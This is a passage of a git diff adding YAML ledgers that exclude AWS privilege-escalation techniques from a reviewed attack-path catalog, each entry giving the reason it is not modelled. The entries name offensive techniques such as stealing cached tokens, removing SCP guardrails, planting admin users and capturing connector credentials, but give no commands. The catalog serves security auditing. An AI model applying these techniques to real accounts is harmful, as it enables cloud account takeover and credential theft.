src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-wireless-post-exploitation/README.md#recover-wireless-device-onboarding-and-session-secrets + technique: aws-v3-22-clone-a-wireless-device-with-recovered-lorawan-or-sidew + reason: 'Clone a wireless device with recovered LoRaWAN or Sidewalk keys: actions iotwireless:GetWirelessDevice + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-supply-chain-post-exploitation/README.md#redirect-an-erp-connection-to-expose-credentials-used-by-the-instance-role + technique: aws-v3-23-redirect-a-supply-chain-erp-connector-to-capture-a-dele + reason: 'Redirect a Supply Chain ERP connector to capture a delegated ERP credential: no source permission/action + is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and + the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#steal-or-sabotage-a-procurement-portal-connection + technique: aws-v3-24-recover-or-redirect-procurement-portal-authentication-m + reason: 'Recover or redirect procurement-portal authentication material: actions invoicing:GetProcurementPortalPreference + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-directory-secret-disclosure-post-exploitation/README.md#iam-reads-that-expose-directory-data-and-idp-client-secrets + technique: aws-v3-25-use-a-cognito-idp-client-secret-as-the-oauth-applicatio + reason: 'Use a Cognito IdP client secret as the OAuth application client: actions cognito-idp:DescribeUserPoolClient + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-blockchain-post-exploitation/README.md#recover-an-accessor-bearer-token + technique: aws-v3-26-reuse-an-amazon-managed-blockchain-accessor-billing-tok + reason: 'Reuse an Amazon Managed Blockchain accessor billing token: actions managedblockchain:GetAccessor are + stated, but the aws_verified_authority target does not identify an exact principal or encode a verified new + effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kinesis-video-streams-post-exploitation/README.md#recover-turn-credentials-and-impersonate-webrtc-peers + technique: aws-v3-27-join-kinesis-video-signaling-as-a-master-or-viewer-peer + reason: 'Join Kinesis Video signaling as a master or viewer peer: actions kinesisvideo:ConnectAsViewer are stated, + but the aws_verified_authority target does not identify an exact principal or encode a verified new effective + permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesstartexecution---input-injection-into-dangerous-sinks + technique: aws-v3-28-reach-a-lambda-execution-role-through-unsafe-workflow-i + reason: 'Reach a Lambda execution role through unsafe workflow input deserialization: actions states:StartExecution + are stated, but the role edge still relies on an uncollected challenge fact and does not establish a concrete + usable target role from current evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesstartexecution---input-injection-into-dangerous-sinks + technique: aws-v3-29-redirect-a-credentialed-step-functions-http-task-to-cap + reason: 'Redirect a credentialed Step Functions HTTP Task to capture its connection credential: actions states:StartExecution + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambda-durable-callback-result-injection + technique: aws-v3-30-inject-a-lambda-durable-callback-result-that-triggers-a + reason: 'Inject a Lambda durable callback result that triggers a privileged workflow branch: actions lambda:SendDurableExecutionCallbackSuccess + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md#local-enumeration + technique: aws-v3-31-steal-a-different-user-s-cached-iam-identity-center-acc + reason: 'Steal a different user''s cached IAM Identity Center access token and exchange it for assigned role credentials: + no source permission/action is declared. The required foothold or credential possession cannot be inferred from + an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md#local-enumeration + technique: aws-v3-32-reuse-another-user-s-cached-sts-role-credentials-or-sta + reason: 'Reuse another user''s cached STS role credentials or static IAM user keys from local AWS CLI files: no + source permission/action is declared. The required foothold or credential possession cannot be inferred from + an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#local-enumeration + technique: aws-v3-33-read-aws-vpn-client-temporary-credentials-from-another + reason: 'Read AWS VPN Client temporary credentials from another user''s local profile: no source permission/action + is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and + the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-resource-groups-tagging-api-enum.md#bulk-tagging-and-tag-sync-boundaries + technique: aws-v3-34-change-an-authorization-tag-to-satisfy-a-tag-conditione + reason: 'Change an authorization tag to satisfy a tag-conditioned policy and gain higher permissions: actions + tag:TagResources are stated, but the aws_verified_authority target does not identify an exact principal or encode + a verified new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-devops-agent-enum.md#inventory-private-connectivity + technique: aws-v3-35-use-a-compromised-devops-agent-integration-endpoint-as + reason: 'Use a compromised DevOps Agent integration endpoint as a credential relay or malicious tool-response + channel: no source permission/action is declared. The required foothold or credential possession cannot be inferred + from an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chimecreateappinstanceuser--chimecreateappinstanceadmin + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#chimecreateappinstanceuser--chimecreateappinstanceadmin + source_revision: 3ad99dc7ac + technique: aws-v3-36-chime-createappinstanceuser-admin + reason: 'Chime CreateAppInstanceUser/Admin: actions chime:CreateAppInstanceUser, chime:CreateAppInstanceAdmin + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#dismantling-scp-guardrails--organizationsdetachpolicy-updatepolicy-disablepolicytype-moveaccount + technique: aws-v3-37-scp-guardrail-removal + reason: 'SCP guardrail removal: actions organizations:DetachPolicy are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsputresourcepolicy--delegate-organizations-itself-to-a-member-account + technique: aws-v3-38-organizations-resource-policy + reason: 'Organizations resource policy: actions organizations:PutResourcePolicy are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appstream-persistence/README.md#appstreamcreateuser--batchassociateuserstack--regional-user-pool-foothold + technique: aws-v3-39-appstream-user-pool-stack-login + reason: 'AppStream user-pool stack login: actions appstream:CreateUser, appstream:BatchAssociateUserStack are + stated, but the role edge still relies on an uncollected challenge fact and does not establish a concrete usable + target role from current evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-omni-persistence/README.md#cloudwatchcreateaccessgrant--install-a-space-admin-principal + technique: aws-v3-40-cloudwatch-omni-space-admin + reason: 'CloudWatch Omni Space Admin: actions cloudwatch:CreateAccessGrant are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-elasticache-persistence/README.md#elasticachemodifyuser--hijack-or-widen-an-existing-rbac-user + technique: aws-v3-41-elasticache-attached-rbac-user-takeover + reason: 'ElastiCache attached RBAC user takeover: actions elasticache:ModifyUser are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-elasticache-persistence/README.md#elasticachecreateuser-elasticachecreateusergroup--elasticachemodifyusergroup--plant-a-full-access-rbac-user + technique: aws-v3-42-elasticache-full-access-user-group + reason: 'ElastiCache full-access user group: actions elasticache:CreateUser, elasticache:CreateUserGroup are stated, + but the aws_verified_authority target does not identify an exact principal or encode a verified new effective + permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-memorydb-persistence/README.md#memorydbcreateuser-memorydbcreateacl--memorydbupdateacl--plant-a-full-access-acl-user + technique: aws-v3-43-memorydb-full-access-acl-user + reason: 'MemoryDB full-access ACL user: actions memorydb:CreateUser, memorydb:CreateACL are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-memorydb-persistence/README.md#memorydbupdateuser--hijack-or-widen-an-existing-acl-user + technique: aws-v3-44-memorydb-attached-user-takeover + reason: 'MemoryDB attached user takeover: actions memorydb:UpdateUser are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-chime-sdk-persistence/README.md#add-an-attacker-controlled-messaging-identity + technique: aws-v3-45-chime-sdk-admin-persistence + reason: 'Chime SDK admin persistence: actions chime:CreateAppInstanceAdmin are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#set-lifecycle-configuration-on-sagemaker-studio + technique: aws-v3-46-sagemaker-domain-lifecycle + reason: 'SageMaker domain lifecycle: actions sagemaker:UpdateDomain are stated, but the role edge still relies + on an uncollected challenge fact and does not establish a concrete usable target role from current evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-connect-persistence/README.md#create-a-durable-connect-administrator + technique: aws-v3-47-connect-createuser + reason: 'Connect CreateUser: actions connect:CreateUser are stated, but the aws_verified_authority target does + not identify an exact principal or encode a verified new effective permission. The entry is explicitly unresolved + pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshift-serverlessupdatenamespace---reset-the-serverless-database-administrator + technique: aws-v3-48-redshift-serverless-admin-reset + reason: 'Redshift Serverless ADMIN reset: actions redshift-serverless:UpdateNamespace are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-healthlake-persistence/README.md#take-over-smart-on-fhir-authorization + technique: aws-v3-49-healthlake-smart-authorizer + reason: 'HealthLake SMART authorizer: actions healthlake:UpdateFHIRDatastore are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-odb-persistence/README.md#retain-oracle-admin-access-with-a-known-password + technique: aws-v3-50-oracle-autonomous-database-admin + reason: 'Oracle Autonomous Database ADMIN: actions odb:UpdateAutonomousDatabase are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-firewall-manager-persistence/README.md#retaining-the-fms-administrator-role + technique: aws-v3-51-firewall-manager-delegate + reason: 'Firewall Manager delegate: actions fms:PutAdminAccount are stated, but the aws_verified_authority target + does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-network-security-manager-persistence/README.md#network-security-managerputadminaccount--retain-delegated-network-security-administration + technique: aws-v3-52-network-security-manager-delegate + reason: 'Network Security Manager delegate: actions network-security-manager:PutAdminAccount are stated, but the + aws_verified_authority target does not identify an exact principal or encode a verified new effective permission. + The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-timestream-persistence/README.md#timestream-for-influxdb-plant-a-native-api-token + technique: aws-v3-53-influxdb-admin-credentials + reason: 'InfluxDB admin credentials: actions secretsmanager:GetSecretValue are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md#download-instance-ssh-keys--db-passwords + technique: aws-v3-54-lightsail-db-master-password + reason: 'Lightsail DB master password: actions lightsail:GetRelationalDatabaseMasterUserPassword are stated, but + the aws_verified_authority target does not identify an exact principal or encode a verified new effective permission. + The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-opensearch-access-policy-persistence/README.md#esupdatedomainconfig--domain-access-policy-takeover + technique: aws-v3-55-opensearch-domain-policy + reason: 'OpenSearch domain policy: actions es:UpdateDomainConfig are stated, but the aws_verified_authority target + does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-marketplace-persistence/README.md#aws-marketplaceputresourcepolicy--cross-account-seller-entity-control + technique: aws-v3-56-marketplace-seller-entity-policy + reason: 'Marketplace seller entity policy: actions aws-marketplace:PutResourcePolicy are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-workmail-enum.md#exact-impersonation-to-mailbox-chain + technique: aws-v3-57-workmail-impersonation-role + reason: 'WorkMail impersonation role: actions workmail:AssumeImpersonationRole are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/organizations-and-central-account-pivots.md#scp-and-rcp-gaps + technique: aws-v3-58-leaveorganization-scp-escape + reason: 'LeaveOrganization SCP escape: actions organizations:LeaveOrganization are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md#guest-identity-credentials + technique: aws-v3-59-anonymous-cognito-guest-role + reason: 'Anonymous Cognito guest role: no source permission/action is declared. The required foothold or credential + possession cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current + snapshots.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md#enhanced-and-basic-authentication-flows + technique: aws-v3-60-cognito-classic-flow + reason: 'Cognito classic flow: no source permission/action is declared. The required foothold or credential possession + cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-user-pool-unauthenticated-access/README.md#registration + technique: aws-v3-61-public-signup-cognito-role + reason: 'Public SignUp Cognito role: no source permission/action is declared. The required foothold or credential + possession cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current + snapshots.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md#cognito-guest-identities-for-dynamodb + technique: aws-v3-62-cognito-guest-to-dynamodb + reason: 'Cognito guest to DynamoDB: no source permission/action is declared. The required foothold or credential + possession cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current + snapshots.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lex-v2-unauthenticated-enum/README.md#public-web-clients-backed-by-unauthenticated-cognito-identities + technique: aws-v3-63-cognito-guest-to-lex + reason: 'Cognito guest to Lex: no source permission/action is declared. The required foothold or credential possession + cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-devops-agent-post-exploitation/README.md#disable-and-re-enable-the-operator-app-with-an-attacker-idp + technique: aws-v3-64-devops-agent-operator-app-idp-swap + reason: 'DevOps Agent operator app IdP swap: actions aidevops:DisableOperatorApp, aidevops:EnableOperatorApp, + iam:PassRole are stated, but the aws_verified_authority target does not identify an exact principal or encode + a verified new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#policy-and-permission-boundary-deletion + technique: aws-v3-65-remove-own-explicit-deny + reason: 'Remove own explicit Deny: actions iam:DeleteUserPolicy are stated, but the aws_verified_authority target + does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-evs-post-exploitation/README.md#recover-evs-managed-vcf-and-esx-credentials + technique: aws-v3-66-evs-vmware-admin-secret + reason: 'EVS VMware admin secret: actions evs:GetEnvironment, secretsmanager:GetSecretValue are stated, but the + aws_verified_authority target does not identify an exact principal or encode a verified new effective permission. + The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-evs-post-exploitation/README.md#recover-connector-credentials-for-an-existing-vcf-appliance + technique: aws-v3-67-evs-connector-secret + reason: 'EVS connector secret: actions evs:GetEnvironment, secretsmanager:GetSecretValue are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#organizationsdescribeorganization--fmsassociateadminaccount-fmsdisassociateadminaccount-fmsputadminaccount + technique: aws-v3-68-firewall-manager-admin-action + reason: 'Firewall Manager admin action: actions fms:AssociateAdminAccount are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#elasticachemodifyreplicationgroup--add-an-attacker-known-legacy-auth-token + technique: aws-v3-69-elasticache-legacy-auth-rotation + reason: 'ElastiCache legacy AUTH rotation: actions elasticache:ModifyReplicationGroup are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2disabledelegatedadminaccount-inspector2enabledelegatedadminaccount--organizationslistdelegatedadministrators--organizationsenableawsserviceaccess--iamcreateservicelinkedrole + technique: aws-v3-70-inspector-delegated-administrator + reason: 'Inspector delegated administrator: actions inspector2:EnableDelegatedAdminAccount are stated, but the + aws_verified_authority target does not identify an exact principal or encode a verified new effective permission. + The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#sending-paths--telemetry-gaps + technique: aws-v3-71-workmail-resetpassword + reason: 'WorkMail ResetPassword: actions workmail:ResetPassword are stated, but the aws_verified_authority target + does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..ee61585c4d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml @@ -0,0 +1,15 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/generic-challenge-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#change-cdktoolkit-trustedaccounts-to-attacker-account-and-deploy-role-trust + source_revision: b587e6bd26 + technique: Change CDKToolkit TrustedAccounts to attacker account and deploy role trust + reason: CloudFormation stack update can alter a bootstrap trust list, but the source is not + proved to control the admitted external-account principal or receive role credentials; the + generic challenge fact has no typed source-to-target contract. + prior_id: aws-pa-persist-s01-30 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#periodic-ecs-task-through-eventbridge + source_revision: b587e6bd26 + technique: Schedule attacker-controlled ECS code under a task role + reason: PutRule/PutTargets and PassRole can schedule a task, but the source is not proved to + control code in the selected task definition or obtain its task-role credentials; the generic + challenge fact has no typed execution/target contract. + prior_id: aws-ecs-eventbridge-scheduled-task-role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml new file mode 100644 index 0000000000..d1660718ad --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml @@ -0,0 +1,9 @@ +# Exact original: docs/privesc-ledgers/aws-scope-archive-20261016/greengrass-unjoined-tes-role-final-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-greengrass-post-exploitation/README.md#greengrasscreatecomponentversion--greengrasscreatedeployment--run-code-on-edge-core-devices + source_revision: 4d874afe90 + technique: Deploy a malicious Greengrass component to core devices and use their token exchange + role + reason: The source can deploy to a thing group, but the evaluator does not collect the thing-group/core-device + to role-alias to TES-role join. Merely trusting credentials.iot.amazonaws.com cannot identify + which target role is reached; the YAML itself admitted all trusting roles were guesses. + prior_id: aws-greengrass-createcomponentversion-createdeployment-tes-role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_org_scope_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_org_scope_overclaim_20261016.yaml new file mode 100644 index 0000000000..8f3059fd52 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_org_scope_overclaim_20261016.yaml @@ -0,0 +1,11 @@ +# Organization/account-admin paths missing exact scope or authentication prerequisites. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-account-management-privesc/README.md#accountputcontactinformation--startprimaryemailupdate--account-recovery-and-root-email-takeover + technique: aws-account-startprimaryemailupdate-member-root + reason: Changing the root email and resetting the password does not bypass an enrolled root MFA device. The entry + lacks exact evidence that the target account has no MFA barrier or a usable recovery path, so root/account-admin + access is not established. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsregisterdelegatedadministrator--hand-a-services-org-wide-control-to-an-account-you-own + technique: aws-organizations-registerdelegatedadministrator + reason: RegisterDelegatedAdministrator alone grants only service-specific delegation to a separate controlled + member-account identity. The catalog does not bind that identity, service-specific administrative actions, or + member targets, so aws_account_admin for all members is overbroad. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_pr_head_reconciliation_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_pr_head_reconciliation_20261016.yaml new file mode 100644 index 0000000000..3bf25e7098 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_pr_head_reconciliation_20261016.yaml @@ -0,0 +1,53 @@ +# PR #473 HEAD headings that require an explicit strict-catalog exclusion. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Callable field, data-source role and source authorization are not joined. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#hijack-resolver-function-or-data-source-behavior + source_revision: 4829bd32b9 + technique: hijack resolver function or data source behavior + reason: Resolver mutation does not prove a caller-accessible field and exact stored data-source + role; application data effects alone are not privilege escalation. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Control of the admitted external-account principal and exact bootstrap-role access are + not verified. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeartifact-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: "Writable package\u2192exact consumer role and execution are not collected." +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Writable revision, triggered build and project execution role are not joined. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeconnections-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: "Git installation/branch control and sync configuration\u2192role are not joined." +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Controlled replacement image and execution on the role-bearing instance are unverified. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Source-controlled ECS host and replacement task placement are not verified. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: The configured OIDC claims are not joined to a privileged Kubernetes RBAC binding. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: The newly created role and external trust claim/pattern are not joined. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#studio-domain-level-all-users + source_revision: 4829bd32b9 + technique: studio domain level all users + reason: Domain default lifecycle settings are not joined to a specific user/space execution + role and a subsequent app start. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#studio-space-level-individual-or-shared-spaces + source_revision: 4829bd32b9 + technique: studio space level individual or shared spaces + reason: "Studio space\u2192execution role is not collected; the archived space entry matched\ + \ any SageMaker-trusting role." diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g1.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g1.yaml new file mode 100644 index 0000000000..8551c087da --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g1.yaml @@ -0,0 +1,50 @@ +# AWS refresh G1 (identity/org pages): HackTricks sections at 171e422299 intentionally NOT modelled as privesc edges. +# Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-account-management-privesc/README.md#account-management + technique: "section introduction" + reason: "Service introduction and enumeration link; techniques are mapped under their own headings." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-control-tower-privesc/README.md#control-tower + technique: "section introduction" + reason: "Service introduction describing the Control Tower orchestration surface; techniques are mapped under their own headings." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-control-tower-privesc/README.md#account-factory-customization-afc--run-cloudformation-in-managed-accounts + technique: "Account Factory Customization blueprint tampering" + reason: "The blueprint (a Service Catalog product in a hub account) is applied to managed accounts only when Control Tower enrolls, creates or updates an account with it; the blueprint-to-account mapping and the account-update step are not inferable from collected IAM facts, and a generic servicecatalog:CreateProvisioningArtifact edge would duplicate aws-servicecatalog-createprovisioningartifact-provisionproduct. Needs a Control Tower blueprint inventory (see SCHEMA EXTENSIONS in the G1 report)." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md#eksupdateclusterconfig--expose-the-api-server-to-the-internet + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksupdateclusterconfig--expose-the-api-server-to-the-internet + historical_source_revision: 171e422299 + technique: "eks:UpdateClusterConfig" + reason: "This exclusion covers only endpoint exposure (public access / CIDR allowlist), which grants no Kubernetes or AWS identity. Changing the authentication mode from CONFIG_MAP to enable access entries is modelled by aws-eks-updateclusterconfig-enable-access-entries." + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamuploadsigningcertificate--plant-a-credential-on-another-user + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamuploadsigningcertificate--plant-a-credential-on-another-user + historical_source_revision: 171e422299 + technique: "iam:UploadSigningCertificate" + reason: "IAM X.509 signing certificates authenticate only legacy SOAP API requests, which current AWS services no longer accept; they cannot sign SigV4 requests or obtain STS credentials, so the planted certificate yields no usable identity. Persistence/hygiene concern only." + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iam-delegation-requests--iamassociatedelegationrequest-iamacceptdelegationrequest-iamsenddelegationtoken + historical_source: 